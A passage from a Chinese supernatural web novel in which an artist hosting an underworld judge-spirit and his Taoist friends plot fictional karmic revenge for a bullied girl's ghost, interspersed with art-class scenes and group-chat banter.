夙家姐弟对视一眼,上次就察觉到了,但他们没说什么,夙明月继续之前的话:“高中这边,我有查到张钰婷最开始和三个室友关系还算不错,后来因为她帮室友带饭,打错了菜,室友说了她一顿之后,发现她软弱的性格,开始变本加厉。”
“钰婷在家里得不到爱,所以有点讨好型人格,室友对她好,她会加倍还回去室友对她不好的时候,她会下意识找自己的问题。”吴惟说到这又想叹气了,感觉当初上不来气需要靠叹气来顺气的时候都没这几天频率高。
“那三个女孩儿在钰婷的记忆里倒是没有真的动过手,但是pua可不少,什么穷酸,穷鬼,除了我们没人会和你交朋友之类的话可没少说,外面跟别人说这个室友多不好,私底下又指使她做这做那。”
“也就是这个时候,她身边所有人都离他越来越远,开始孤立她。钰婷很害怕,只能跟在她室友身后当小尾巴。”
夙逸兴脾气爆,最听不得这种话了,一拳捶到桌面上,爆了粗口“草,什么人啊,看不起就别吊着人家,想让别人做牛做马,也不看看自己配吗?”
之前哪怕交换过情报,但毕竟是用网络,内容也尽量精简了,所以了解到的只是很抽象的用校园霸凌、孤立等词去笼统的概括,哪怕加上之前的手书,也只是了解个大概。
第一次听到细节,触目惊心。
“这还没完,她们心情不好的时候,还会用各种方法折腾钰婷,有一次大冬天的,钰婷被她们骗过去,浇了一身水锁在仓库里一天一夜,差点没把人冻死。”
当时温度不算太低,她们本来也只是想关一天最后给忘了,第二天才想起来。
但算是就这一点不是故意的又怎么样,总归是她们先动了手,钰婷当初被救出去的时候下半身都是血。
虽然一般来说痛经都是因为体寒,血液瘀堵,一般不会流太狠,但是着凉的时候却又可能会出现血崩的症状。
“她们怎么敢?!”连楚星垣都听不下去了,这还是人吗,这可以算谋杀了吧!
夙明月皱眉道:“这件事我回去再查查,如果能找到证据,咱们去警局报案,虽然对方未满十六岁不会受到多少斤惩罚,但至少能给她们留下案底。”
就算能从用玄学的方式让她们付出代价,但做过的恶依旧要被人知道才行!
“另外还有个人,明月之前给我的资料里也没有,钰婷她遇到过三年级一个叫陆瘐的人,他曾经…骚扰过钰婷。”
这件事吴惟问过张钰婷,可不可以说,张钰婷同意了,如果能给她的仇人应有的惩罚,她就不怕被人骂,反正自己都已经死了,何况她生前名声本来就不好。
但是她甚至遭受过侵犯的事,吴惟无论如何都说不出口。
“姓陆,不意外。”楚星垣冷冷地说道:“陆氏集团的人,他们家家风本来就不正,能养出畜生毫不意外。”
三人侧目,夙逸兴问道:“你认识?”
“我之前大四的时候,导师带有们去他们工地实习,见过陆缪,就是陆瘐他爹,也是陆氏的当家人,当时就觉得这人不对劲,后来找莫繁去帮我看了一眼,身上人命官司可不少。”
“他身边道行不低的风水师护着,否则早就被鬼弄死了。我后来出国读研,就是为了躲开他背后那个风水师。”
至于斗法失败差点死掉的事就不用提了。
“这么说起来…”
“不无可能。”
夙家姐弟互相确认过眼神,不用说就知道某人肯定是斗法失败了,“这样的话就棘手了啊。”
“你既然跟他斗过法,应该有些了解吧。”
楚星垣感觉有点胃疼,真是不想对上谁,谁就蹦出来:“真是抱歉,我当时道行尚浅,除了对方是个风水师以外,我还真没看出来什么呢。”
“看来对方是真的很厉害,不过这一次就不一定了,”夙逸兴冷笑道,“心术不正的人最怕功德,咱们这边最不缺的也是功德。”
“可惜不能用。”
夙逸兴:“?”
夙明月:“?”
楚星垣:“不是,等等,哪来的功德?”
婴灵冒出头,用功德捏了个莲花,说道:“抱歉上次没说清楚,是这样的,之前你们应该就能感觉到我不是吴惟本人了吧。”
三人一呆,夙家姐弟是因为没想到那个上吴惟身的东西居然自爆了,楚星垣是有点跟不上节奏,都什么跟什么,怎么突然不是本人了?不过这人身上的气息确实变了。
夙明月:“确实如此,不过也是因为您没有怎么隐藏。”
婴灵:“我是临州赏善司的判官,地府不能插手人间事这点你们应该也清楚。”
“虽然张钰婷作为鬼,我是可以帮她,但是如果这中间涉及到阳间的一些家伙,我都不能碰。”
除非对方找事,不过真让她顶着吴惟的壳子去姓陆的面前晃悠,让他主动冲撞自己,也只能想想,这种冲撞的惩罚不致命,婴灵可不想给吴惟带去什么不必要的麻烦。
“其实至今没把婷婷救出来就是因为那个风水局,我不了解这个东西,强行破坏的话怕伤到她的魂体,到时候可能就救不回来了。”
“原来如此。”三人点头。
“所以,你说的那个人哪怕心术再不正,我都不能插手,除非他是什么死人用不正当的手段强留人间。”
“哎…不过判官欸,好酷!”夙逸兴后知后觉兴奋了起来,“难怪无为就算对玄门一窍不通,却进步神速!”
婴灵不好意思道:“不是我功劳啦,是吴惟他自己天赋就很高,随便指点他一下就开窍了。”
“现在不是说这个的时候吧。”刚刚还在害羞的“吴惟”脸突然黑了,就…看着挺神奇。
不过真要说起来,今天的进度也是喜人,谁能想到,关于幕后黑手的线索,居然以这样的方式找到的,真是天要亡他。
吴惟思索了一下,中间要补充的差不多说完了,示意夙明月继续。
“接下来是张钰婷自杀的时候,网上的消息似乎都被封锁了,几乎没掀起什么水花,不过还是有一些媒体报道的,但都是用学习压力大来搪塞。”
“学校给张家赔偿了一大笔费用之后,不了了之了,张家人现在已经搬离临市隔壁安市买了房安了家,真是好不快活。”
夙逸兴鼓掌,皮笑肉不笑说道:“呵呵,真是好结果,除了最无辜的人受伤,所有人都获得了好结果呢。”
楚星垣总结了一下:“现在算下来,我们要对付的反派有三方,首先是那三个室友,需要找到她们把张钰婷关进仓库的证据,
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这一点明月最擅长就交给明月来办。”
夙明月:“没问题。”
“证据找出来,不光地让她们留下案底,还得给她们好好宣传一下,不是喜欢孤立吗,让她们自己也体验一下。”
夙逸兴互相:“好,我喜欢。”
“其次是陆家,陆家那边想对付他们必须先对付风水师,剩下的,光凭他们做过的那些事,够他们死无数次了,至于怎么找到对方…无为兄弟有没有什么想法?”
吴惟沉吟了一会儿,道:“我刚刚问了一下判官小姐,因果符阵可行。”
把他用风水局吸引力的怨气直接用在他身上,保管那人喝一壶,绝对没精力插手这件事,说不定还能找到那人的下落。
楚星垣顿了一下,掏了掏耳朵,来了一句:“不是等等,你刚刚说什么?因果符阵?是那个可以把因果反弹,让施术者自尝果报的因果符阵?!”
“嗯,有什么问题吗?”这是吴惟的声音。
“符阵是什么?”这是夙家姐弟的声音。
“有问题,问题大了!你居然是符阵师!”楚星垣双手都搭到了吴惟肩膀上,“你知不知道符阵师有多稀有,十个风水师里面都难出一个符阵师,更何况是能画因果符阵的!”
因果符阵,是所有符阵中最简单的,也是最难的那个,因为大道至简,所以它简单,因为没什么规律,需要自己悟,所以它又最难。
但是吴惟最不缺的就是悟性。
楚星垣动静太大了,云菲脑袋都从接待区伸了过来,好奇地问道:“你们这是在玩什么人设扮演吗?”
“是啊,我新做了个世界观,准备画点关于灵异的设定,所以找几个朋友演一下给我找找感觉。”吴惟面无表情地说道。
他们三班的人,一个个都是戏精,谁还不知道谁啊。
云菲露出了一脸“我懂我懂”的表情,感叹了一声,“没想到我们班最不合群的家伙,也找到了志同道合伙伴,恭喜啊~”
吴惟歪头:“谢谢。”
“不客气。”云菲挥挥手,回到了柜台前继续玩平板。
三人松了口气,还好还好。
夙逸兴踹了一脚楚星垣,楚某人赶紧回到座位上老老实实坐下,跟夙家姐弟科普,“符阵顾名思义是符箓和阵法的结合,灵活性不及阵法,单纯的威力和用途也不及符箓,但是胜在生生不息,以及原料自由上。”
“明月是符师,应该最明白原料对符箓的影响了吧,阵法对原料的要求也是一样的高,因为他们都是属于消耗品,耗材越好,威力就越大。”
“但是符阵不一样,哪怕只用最简单的材料,一旦牵动一丝气机,它就会源源不断从外界汲取能量然后反馈给符阵本身。”
“风水寻龙点穴本质上就是在布置符阵,只不过我们需要借助太多的外力来确保符阵的运营,并且这符阵也是有使用寿命的,一旦周围的气场消耗过多,符阵也威力也会大减。”
“但是到了符阵师的水平就不一样了,他们甚至可以通过一些改动,把阴煞之地变成风水宝地,甚至使空气中的能量达到一种生生不息的平衡。”
“比如,”夙明月想起吴惟那张天官赐福,掏出手机翻到“事事无为”的主页,把手机放到桌面中间,“这个?”
“??!!”楚星垣惊了,但他还记得要小声说话,“是我眼花了吗,我居然在一幅画上看到了符阵?!”
“啊…这个是祝福符阵,”吴惟死鱼眼望天,他还真没觉得自己做了什么惊世骇俗的举动,“就…我当时不是想,反正画都画了,顺手把符阵也画上去,就这样了,我也没想到真有效果。”
楚星垣来回扒拉手机,大概理解了他的思路,惊叹道:“天才啊,我怎么没想到呢,虽然一般来说用画卷做出来符阵能够收集的能量太过微弱没什么意义,但是有网络啊!”
“只要不断有人表达对它的喜爱,它就能源源不断的吸收愿力反馈愿力,无为兄弟你真的太机智了!”
“而且能做到无中生有,本身就是符阵师中的翘楚。”
“有了符阵就好办了,到时候无为兄弟把因果符阵嵌入那狗东西的风水局中,等它自己反噬,自食恶果,哼。”
楚星垣露出贱兮兮的笑容,“到时候甚至不用担心多出来的怨气伤人,所有被聚集来的怨气都会反馈到那个人身上,就是不知道那家伙吃不吃的下咯。”
“等风水局中的怨气被因果符阵引走,就不怕里面的东西出来祸害周边了。到时候我再去一趟,给里面开个口子,就能把张钰婷的灵魂引出来,接下来就要麻烦判官大人了。”
婴灵保证道:“没问题。”
“好,这一点不用担心了,最后是张家,别的不说,最少吃掉的人血馒头地让他们吐出来。”话题回到刚刚,“明月。”
夙明月依旧靠谱,道:“放心,他们家的事我会一并查的,就算不能通过帮张钰婷平反去收拾他们,至少她那个弟弟可不是什么省油的灯,随便挖挖就能挖到一些料。”
“之前在临市上学的时候还跟人打架被打进医院呢。”
“吴惟”眨巴眨巴眼睛,一脸天真无邪地吐出恶毒之语,“实在不行的话,我就陪钰婷回家一趟。”
要知道冲撞判官可是会把三年内所有罪孽都清算一遍呢。
“他们那样的人,应该造过不少口业吧。”
姓陆的家大业大碰不得,但是张家可没什么家底,真去了也不会给自家崽子招惹什么麻烦,嘻嘻。
“嘶…”
“好狠!”
“这是什么天然黑。”
“以后绝对不能惹无为太太。”
.
16. 第 16 章
仰飞光觉得越来越看不懂这位老同学了。
距离开工已经有两个星期了,除了最开始被当成家长叫了之后,平日里除了在工地溜达偶尔能和他碰个面以外,基本上除了睡觉的时候就找不见人。
害的他明明神子本人就在身边,还得每天去班级群里给自己祈福。
晚上吃完饭,仰飞光熟练地打开班级群看看有什么乐子,没想到竟然看到了吴惟的消息。
喵姐:#被猫包围的吴惟# 让你们见识一下什么叫万猫迷
大姐头:卧槽?这是咱家神子大人?菲菲,不是你让猫猫们干的吧?
喵姐:我可没那能耐,我家主子们一个比一个傲娇,根本不听我的
喵姐:你是不知道,神子大人从我店里离开之后,这群小祖宗都快翻天了
手办达人:哇偶,好治愈的画面,神子大人是什么小天使
手办达人:美好就要封存在最完美的时刻,好想把他砌进石膏里
喵姐:石膏兄,记得给我留一份
大姐头;我也要
……(此处省略数个+1)
喵姐:说起来没想到神子大人也开始玩角色扮演了呢
喵姐:班上最后一股清流消失了呢
神子大美人:?
神子大美人:这是侵犯肖像权,我是要收版权费的
神子大美人:还有,我不是玩角色扮演,我只是需要oc脑洞开作品集
手办达人:#五千专属红包#
神子大美人:??!!
手办达人:给个地址,做好了给你寄一份
手办达人:#天官各种动作粘土手办#
手办达人:你答应以后出cos都给我授权的话,你那些oc有想要的我也可以给你做哦
神子大美人:……
神子大美人:我考虑考虑。
仰飞光看的有点目瞪口呆,不是吴惟你清醒一点,你是个社恐,居然这么容易就被收买了!
吴惟要是知道他的吐槽,肯定会说,但是苦谁不能苦oc,自家孩子自己爱!
不,这不是重点,仰飞光拉出吴惟的私聊跑去质问。
重生者:你平时找不到人就是跑去偷偷吸猫?
重生者:还和别人玩角色扮演了?什么角色是我不能知道的?你都不来找我玩!
吴惟看着这个私聊,有些无语,想想反正在艺术楼怎么也绕不开这家伙,反而需要他打掩护,那些事,干脆跟他说一下好了。
拉出小群问了一下另外三人的意见,得到他们的同意后,吴惟才回仰飞光的话。
事事无为:…你想知道我明天就带你玩
仰飞光:这还差不多
仰飞光:#猫猫叉腰可把我厉害坏了#
事事无为:我今晚就不回去了,明天早上来找你,对了壁画上我想添点东西,保证不会破坏整体
其实倒也不是不能回去住,主要是不用入幻境了,吴惟怕睡不着被呼噜声折磨。
咳…真是人间真实啊…
仰飞光:行,我相信你的审美,具体的见面聊
事事无为:#小蛇比心#
.
第二天一早,吴惟带着还没睡醒,被他从酒店里强行拉出来的楚星垣来到工地上。
嗯,这个动作其实是婴灵做的,这种事社恐人做不出来。
但毕竟对方昨天都答应了,还约好了时间,就算被强行拉出来也不是自己这一方的问题,婴灵自然没有什么负担。
仰飞光还没来,吴惟就先带楚星垣到附近转了一圈观察了一下情况。
之后又带他到楼上办公室打开电脑,从su里调出了当初贴图用的建模,方便他观察全局。
他还是从这张图上发现逆八卦呢,只不过当时以为是设计师的失误没当回事。
后来想想才发现不对劲。
楚星垣看着建模这格局,更确信那个布下风水局的人是帮陆氏遮掩天机的风水师了。
和当年差点坑死他用的手法几乎一模一样。只不过因为他也是风水师,当年用的手段更加隐蔽。
这次估计是因为这次项目只是学校里的小项目,没想过会和别的风水师撞上,才感这么明目张胆。
被他们抓住小尾巴只能说活该。
“这局倒是不难破解,难就难在破掉的话肯定影响美观,学校大概不会同意的。”楚星垣摊了摊手,幸灾乐祸道:“所以果然还是需要你的因果符阵出马了!”
“我看了一下,在西边摆个阵,开个口子,就能把里面的东西引出来了。”
“扣扣”正说着,办公室大门被敲响。
“请进。”
仰飞光打着哈欠推门而入,这个表情差点在脸上定格了,下一秒他赶忙收回,有些尴尬得清了清嗓子,“哎呀,有客人,吴惟你怎么不早说。”
“抱歉抱歉,没想到您会来,都没收拾…”他甚至脸都没洗= =
吴惟这个坑货害他!
楚星垣愣了一下,摆摆手,客气道:“没事没事,冒昧造访是我们不对,您不用道歉。”
“我说了。”吴惟茫然地眨巴眨巴眼睛。
仰飞光一言难尽,您那叫说了啊,您也没说带人来啊!
吴惟慢慢反应过来:“我好像没说清楚?对不起。”
仰飞光:“……”毫不意外呢:)
楚星垣:“……”这人好像比自己还大一岁吧,这么呆的吗?
“这不重要,”吴惟依旧稳定发挥自己不会看眼色的能力,一本正经地看着因为没收拾不好意思靠近还站在门口的仰飞光:“我们有些事要跟你说,唉?你怎么不进来?”
“噗…”楚星垣憋笑,仰飞光头疼扶额:“哥,你是我哥!算了,不跟你说了,那什么,我先去收拾一下再来,对了你们吃饭了吗,要不要我去食堂给你们也领一份?”
楚星垣抢在吴惟前面说道:“还没,麻烦您了。”
仰飞光如蒙大赦:“不麻烦不麻烦,你们稍等我一会儿。”
吴惟不明所以:“你不是吃过了吗?”
楚星垣笑着说:“没吃饱嘛~”
真是可喜可贺,一辈子没说过谎的楚星垣在这里破功了,不是他说,他是真的心疼仰飞光,同事是个呆的,根本不会看眼色,笑死。
一阵鸡飞狗跳之后,三人围坐在工作台前,一边啃煎饼果子,一边听吴惟用没有什么起伏的声线说起事情始末。
仰飞光听得人都麻了,女孩儿因为校园霸凌跳楼的事也就算了,他不是没关注吴惟的账号,也知道他发表过这方面的作品。
不过灵感居然是跟艺术楼有关?什么风水局,什么镇压厉鬼,什么被拉入幻境,什么想帮厉鬼报仇,超度厉鬼回地府?
这是我这个凡人能听得吗?
仰飞光呐喊!
虽然早就猜到这位“神子大人”不简单,但是你也不用这么明目张胆的直接说出来吧,也不怕我不信!
吴惟:“你信,因为你是重生者。”
怪力乱神的东西见多了,由不得他不信。
仰飞光欲言又止,就…这是一回事吗?
而且你也太信任我了吧!
算了,老同学的脑回路还是不要猜了,所以:“你们打算怎么做?”
“我想微调一下壁画,嵌个符阵进去。”吴惟依旧直白,他当然信任了,有判官笔在,识人这方面没带怕的,“只是这事先不能让校方知道,万一惊动背后的风水师,我怕钰婷会出什么事。”
仰飞光叹了口气,说道:“只要不影响画面美观就行之后有什么问题我去解释。”
“谢谢。”吴惟这声道谢很真诚,他也知道自己的要求对于仰飞光这个总负责人来说挺无理取闹的,毕竟承担责任的人是他。
仰飞光笑了笑:“你是该好好谢谢我,有空请我吃饭怎么样,先说好地方你来找,不能像上次一样。”
“好的。”
孺子可教也,仰飞光表示欣慰
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。
“不过就事论事的话,我也站张钰婷这边,临市这边我插不上手,但是我家在安市那边还是有点能量的,张家那边我也可以帮忙。”
作为一个有特殊能力又不懂得隐藏的人,仰飞光也遭受过霸凌,多少有点物伤其类。
哪怕他上面还有哥哥和继母,继承权并不在他手里,并不代表他手上没有关系。
狐朋狗友的关系也是关系呢。
要论折腾人,他那些纨绔小弟可是最会了。
“好。”
“所以,重生者是怎么回事?”楚星垣心痒难耐。
之前猫咖那个灵觉很高的老板就是吴惟的同学了,这个项目组长也是个高灵觉的,这人也太神奇了,居然能遇到这么多高灵觉者。
而且听起来对方好像已经发掘其中的关窍了。
抛开玄门各种方向的修行方式不说,每个人最初的灵觉都是不同的,它代表人最根本的天赋,甚至灵觉高的话,会在完全没有修行的情况下拥有各种奇怪的能力。
“这个…”仰飞光迟疑了一下,随即想到他们本身就在搞怪力乱神的东西了,知道应该没什么,说不定还能指点他一下呢,于是把自己的情况说了出来。
“预知危险啊,难怪我看你现在还活得好好的。”
仰飞光:“?”
楚星垣:“抱歉我没有冒犯的意思,你应该也感觉到了最近很倒霉对吧,我虽然是风水师,但也跟好友稍微学了点面相,你大概是被人借了运,如果不是你能够预知危险,大概早就凉了。”
“借运?”仰飞光并不是太惊讶,楚星垣说的没错,他差点死了好几次呢也就是蹭到吴惟的运气才好起来,“有解决什么办法吗?”
“其他办法都挺麻烦,不过这有个简单的办法。”楚星垣看了眼吴惟道,“有空了让他给你画幅画。”
仰飞光惊讶:“这样就行了?”他凑过去把胳膊搭在吴惟肩上,控诉道:“神子大人你不厚道啊,有办法早点不帮我解决一下,嘤~”
最后那个假哭,恶心到婴灵了,她在意识空间一个激灵,大声驳斥:“我怎么知道你被借了,我只能看出来你运势不好!”
至于婴灵为什么看不出来,是因为这个世界有不像某些小说,强大的主角什么术法都能学会。
不仅玄门各派的手法都是有壁的,就连天赋都是有壁的,并不是你天赋好就想学什么都能学会。
任何天赋都不是万能的。
哪怕像吴惟这样大道至简,直击源头的天赋,也有他不擅长的,也就是那些细枝末节的东西。
就比如他虽然是符阵师,但你如果让他按照玄门弟子的方式从风水开始学习,他会很头秃,也不一定能摸到符阵的高度。
但是如果换个人来,按照吴惟的方式直接接触符阵,他们又会因为没有具体方法,而感到摸不着头脑。
就像有的人从小学画画,一出手就是虽然童真,但画面很有灵性,一眼就能让别人明白自己想表达什么,反而学多了之后,慢慢磨平了这种灵气,虽然表达依旧到位,但是就是缺少了一种说不出的韵味。
有的人小时候画出来乱七八糟,长大后通过各种手法能够表达内心,就要比小时候拥有更多的灵性。
吴惟就是前者。
“我要是知道早就给你画了。”
有了上次叫家长事件,吴惟在仰飞光面前已经没了之前的社恐拘谨,下意识伸手揉了揉他的狗头,出声安慰道:“在我身边不会出事,现在画也不迟。”
别说,飞机头摸着还挺有感觉。
楚星垣轻咳了一声替吴惟辩解了一下:“这倒是不怪无为,他接触玄门不久,不会相面,看不出来什么。”
“能够解决你的问题也是因为天赋出奇的高,一些玄门弟子学不会的东西,对他来说很轻松。”
仰飞光像是第一次认识老同学一样,惊奇地上下打量着吴惟,过了一会儿,伸出大拇指,叹了一声,“牛逼!”
.
17. 第 17 章
“这里暗部画的太死了,明暗交界线才是最深的地方,暗部这里会有一点反光…”
吴惟正在给高中生看画,看对方不理解,从柜子里拿出一个苹果模型放在铺有蓝色桌布的桌子上。
这个桌子是专门用来摆静物给学生写生用的。因为他们还没有学到这里,所以桌面上是空的。
他示意同学把灯和窗帘都关上后,用手机从侧面给苹果打上光,另一边的暗部区域反射出桌布的蓝色,确实要比中间亮一些。
“你们初中的时候学物理应该学过漫反射吧,物体与物体之间离得近的部分就会被反射的光照到,亮部又是受光面,就只有明暗受光是最弱的,所以颜色最深。”
一些刚接触色彩知识的同学表示惊叹,之前老师教素描,都是只教理论,告诉你最深的是明暗交界线,然后就临摹,但是为什么,他们也是似懂非懂。
因为不理解,所以画的时候总是忘记这一点。
“也是因为漫反射,物体本身会带一点环境色,比如这里的苹果暗部就带上了桌布的蓝色,如果放的物体多了,还会染上别的颜色。”
“当然画画是主观意识的呈现,所以以后你们画色彩的时候,老师会告诉你们,为了更好的融入画面,需要在物体上多加入一些环境色,”
“这里并不是完全按照现实中你看到的来,而是凭借你主观的感受,认为怎么样画好看来决定的。”
“老师,这里有点抽象听不懂,要不您做个示范呗?”一个男生举手道,吴惟往后一瞧,总觉得有点眼熟。
没错正是当初体育课上看吴惟热闹的人之一,清道夫抓学生早恋抓到老师身上了是真有趣。
不过对方认出吴惟了,吴惟却没有认出他。
吴惟沉吟了一下,点头,“行,你们谁去隔壁三年级借一下工具,颜料,画笔,最好有扇形笔,调色板,水桶。”
“我去我去!”社牛同学兴致高涨,一溜烟就跑了出去,吴惟从柜子里找了一些静物和桌布在桌子上摆了起来。
“如果你们以后考学的话,一般色彩和素描都会有默写,所以构图也很重要,今天示范就用s形构图吧…”
三年级那边听说一年级有老师做范画,也跑过来这边观摩。
德育的教学理念就是德智体美劳全面发展,在这方面做的还算不错。
高一的时候会有一些艺术课,是强制参加的,占主科时间。
高二的话会根据兴趣分班,全年级艺术课集中在一个时间段。
到了高三才会取消掉艺术课,还要来上课的就是那些专门学艺术的同学了,他们上课时间一般是其他同学自习的时候,所以来的人不多,也不占地方。
一切准备就绪,吴惟开始一边讲解一边画。
“一般体物是放在画面三分之一处,一般是画面的上方…”
“主体物在这边,画面的重量会像这边倾斜,可以在另外一边加一点深色的小东西来平衡画面。”
“颜色越深,视觉感受上越重,另外这个物体可以放稍微远一点,类似杠杆的原理…”
“……”
“这里可以点一点画面中的冷色,破一下形,画画的时候一定要记住不要太老实,有的时候破一下形会让你的画面更加丰富,但也不要处处都破…”
“……”
作画过程并不是很快,吴惟收尾的时候已经快下课了。
“好了今天就到这吧,一般来说绘画只要保持关系对,每一个阶段都可以算是完成,这幅画继续往下画是可以无限深入的。”
“但是到这种程度已经够用了。”
铃声响起,吴惟松了一口气,道:“收拾一下准备下课吧。”
做范画好啊,比改画好多了,吴社恐表示,一节课就这么轻松混过去。
众人散场,社牛同学悄悄摸过来,嬉笑道:“老师好厉害,连我都听懂了。”
他可是一点艺术细胞都没有。
“谢谢?”
“话说我有点好奇,老师被当学生抓早恋是什么感觉?”
吴惟…吴惟他表情裂开了。
不提这件事还好,一提他又想起某个给他当爹的家伙不厚道的大笑。
说起来这次会来上课也是被仰飞光给卖了。
符阵效果要比较好,还是要在现实中有实体,吴惟给仰飞光做画,肯定不可能像祝福符阵那样传播。
他本来是想回家找材料画,但是他家的东西只是用来找灵感的,本来就不全还需要补,仰飞光直接从学校帮他借了画室和材料。
代价嘛,很简单,就是一年级的美术老师最近有事出去了,需要他帮忙暂代几节课。
“老师有女朋友吗?”
还没缓过来,吴惟的脸色又裂开了。
社牛同学饶有兴趣地盯着吴惟的脸,好像看到了什么好玩的事情。
吴惟回过神,冷笑着说道:“没有感觉,没有女朋友,我有好几个老婆,数位屏,数位板,数位笔,ipad你喜欢哪个,我可以给你介绍,以后每天给我交一幅速写,相信我,她也会很爱你!”
社牛同学:“……”
惹不起,溜了溜了。
“呵。”
实话实说嘛,数位笔和ipad pencil确实是他老婆啊,他最爱画画了呢。
他甚至和老婆生下了无数的孩子,他们的孩子还有很多人爱。
满脑子都在跑火车,吴惟的心情突然变得很好。
既然人都走了,暂时又没有课了,吴惟便从柜子里拿出自己画了一半的作品,准备继续。
这幅画上的仰飞光是个标准的小少爷,西装笔挺,靠在墙壁上,身形放松。
他隔空举着酒杯仿佛在庆祝什么,表情神采飞扬,意气风发。
背景似乎是一场宴会,周围的一切都熠熠生辉。
因果符阵被吴惟嵌入了地板和墙面上,包裹着小少爷,衬得他更加贵气了。
这幅画画了好几天才收工,仰飞光见了十分惊喜,马上就拿去给裱了起来。
后来挂在墙上越看越喜欢,反手就拍了下来放班群里炫耀,快看,神子大人给我画的像,帅不帅,可惜你们没有~
三班哪个不是学美术的,只是工作之后大家都很难抽出时间专门去画画。
就算画也大多数不是自己随意的创作,自然比不得工作就是创作的吴惟。
这种精细度高,并且半点没崩手绘,很久没见了,仰飞光一发出去就收到了全班的嘘声,于是他很痛快地跑路了。
吴惟见状沉默了,“你高兴就好…”
反正他不可能在班里冒头给自己找活干的。
.
不过这都是后话了,这段时间吴惟也不是除了画画和代课什么都没干。
虽然吴惟本来没想干啥。
这天下午吴惟去工地把一处嵌入符阵的部分修改完,换下工装去给另外一个班代课。
路过二年级的教室区域和一个女生迎面撞上,下意识扶住对方。
“嘶…你没事吧?”
盛思涵从未想过自己还能遇到偶像剧的桥段。
这会儿是课间,她在和好友玩闹呢,就是跑得快了一点。
路过转角的位置时“砰”的一下撞到这人身上。
那声音,听着就让人牙酸。
力的作用是相互的,何况她在跑,那一下撞得结结实实。
她本身力气又不大,撞了一下之后对面没怎么样呢,她先站不住,趔趄着后退两步,被对方扶住了,还听到一声关切,“你没事吧?”
盛思涵下意识抬头看向对方,只见眼前的少年弯着腰,一手抵着唇边,一手还搀扶着她,一脸关切地看着她,眼中尽是如水一般的柔情,那一点朱砂硬是让她品出了一丝缱绻的味道。
盛思涵一瞬间把最近看过的小说全部脑补了一个遍,红晕洒满了整个脸颊,头脑跟着发热起来,半天没有反应。<
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若是吴惟知道她的想法定会为自己辩解:“捂的是下巴不是唇,知道自己额头多硬吗?眼睛不是如水是真的快挤出水了,疼的!没事请不要瞎脑补!”
“你没事吧?脸这么红?”刚刚追着她玩的同学跑过来,看了看吴惟离开的背影,在盛思涵耳边揶揄地笑道:“人都走远了还在这发呆。”
“诶呦刚刚的男生长得真好看,清清冷冷,我记得你好像很喜欢这一挂的,你该不会…嗯?”
盛思涵听到好友的声音已经回过神来,现在被她说的脸更红了,伸手挠她的咯吱窝,“说什么呢!”
“哈哈哈哈,大小姐我错了,饶了我吧哈哈哈哈~”
“啧…青春就是好。”吴惟在意识空间无情吐槽,婴灵的神识让他把对话听得一清二楚:“还笑呢,等过两天喝凉水都塞牙缝,就不知道能不能笑的出来了。”
没错,刚刚转角处婴灵看到对面冲过来的人,直接把吴惟踢进意识空间自己上了。
偶像剧是不可能偶像的,开玩笑,玩校园霸凌的小屁孩不配。
尤其是对象还是傻白甜的自家崽,婴灵表示,你想吃屁!
如果换别人婴灵可能还会躲在意识空间调侃吴惟,但是那个盛思涵,就是当初霸凌张钰婷的三个室友之一,后面追过来的同学也是。
婴灵冷笑着说道:“可不,言语冲撞判官也不行,那俩人最近都要倒霉了呢。”
这可是她们自己撞上来的,可不是婴灵故意找事,只能算他们点背。
只是婴灵和吴惟都没想到,有些人找死也上赶着,她们是真信了这是校园言情小说,还到处打听吴惟。
这不,知道吴惟是一年级美术老师,都来美术教室堵他来了。
吴惟给一个同学改完画,抬头和蹲在窗外悄悄看他的盛思涵对视上了,她两个室友也在身边。
盛思涵甚至还朝他挥了挥手。
吴惟:人都麻了.jpg
毕竟要脸,他还不至于跟一个孩子过不去,朝对方点了点头,就把精力给了另外一个学生。
“又忘了我说过的吗,用直线起型,不要用曲线,现在的你还把握不好。”
……
“怎么样,是不是超级帅!”盛思涵沉醉,认真的男人最帅了!
尤其是吴惟因为社恐不善跟人交流,反而会把精力完全投入画面,指导别人的时候认真地样子,非常吸引人。
要是吴惟知道她的心思,回去绝对第一时间强行把自己的思维转变成以前的样子,让自己变成彻彻底底的小透明。
可惜他不知道,他一直信奉顺其自然,自从因为灵觉解放开始引人注意,他就没刻意隐藏过自己了。
室友的审美和她不一样,齐雪霏倒是没觉得他特别帅,不过很耐看,眉间的朱砂更是点睛之笔,点活了让这张平平无奇的脸,使他看起来像天上的皎月。
虽然审美不同,但是她表示了肯定:“虽然帅这个词好像不太适用,但是确实很好看!”
盛思涵不满地看了她一眼,齐雪霏还是坚持自己的观点,“帅是指那种硬帅的感觉你懂我的意思吧,就很有活力的,或者很有力量的,他看着太柔和了。”
“我也觉得,”简茜点头,“与其说帅,不如说美。”
“可是他很有力量啊,你不知道,我跑过去的时候,那么大的力量他都没后退一步,换个人早站不住了!”
“说不定有八块腹肌呢!”盛思涵捧着脸幻想起来。
吴惟听着婴灵的转述人更麻了,下课铃响的一瞬间,立马滚进意识空间,被踢出来的婴灵:“?”
不是哥们你不知道咋办我就知道了?我知道小婴儿为什么要承受这些?!
吴惟:“加油上,让她们知道什么叫人心险恶!”
婴灵:“可我也做不到啊!!!”
嗯,果然不是什么都没干,是干了不如不干,告诉我,到底是谁要牺牲色相了:)
.
18. 第 18 章
画室人都走的差不多了,婴灵又不会画画。
更何况他们也不太可能在那三个霸凌者的眼皮子底下做对他们来说还算重要的事,只能把画室上了锁,也跟着离开。
那三个女孩儿果然还在那,看他出来还像他招手。
每到这种时候吴惟都很想吐槽这些人到底是怎么做到这么自来熟的,明明他们只见过一面,还不怎么美好。
婴灵也想叹气,无奈地走过去,问道:“几位同学有什么事吗?”
盛思涵面露羞涩,有些不好意思开口,齐雪霏就没这个顾及了,用一种很俏皮的语气问道:“老师是这个学期新来的吗?以前没有见过呢。”
“不是,我只是替钱老师代几节课。”
盛思涵惊了,那不就是说,过段时间可能就见不到他了,那可不行,她急急说道:“那个,上次谢谢老师了,我跑太快没看路,不小心撞到您…”
“没关系,下次注意就好。”
呜呜呜他好温柔,盛思涵觉得自己又可以了,“不管怎么样都要谢谢老师,内个…我想请老师吃顿饭表示感谢,不知道可不可以。”
吴惟真的很不理解,他很确信他们是在把天聊死,为什么对方会复活?
婴灵:“那个清道夫呢?他怎么该出现的时候不在!”
吴惟:“就是!”
两人内心疯狂控诉。
但表面上,毕竟一人一鬼都放不下面子,肯定不可能甩脸色,好脾气地说道:“抱歉,晚上还有工作。”
“可是这不是已经放学了。”
